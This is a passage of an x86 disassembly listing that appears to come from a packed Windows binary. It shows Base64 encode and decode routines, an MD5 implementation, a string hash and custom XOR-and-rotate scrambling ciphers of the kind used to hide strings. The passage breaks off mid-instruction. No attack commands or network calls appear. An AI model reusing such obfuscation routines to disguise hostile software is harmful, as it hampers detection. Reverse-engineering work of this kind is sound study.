loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E980[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: MEW:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EA84 call sub_40F26E pop ecx pop ecx lea eax, byte_41EA84 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EA84[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: MEW:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EA98 call sub_40F26E pop ecx pop ecx lea esi, dword_41EA98 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, 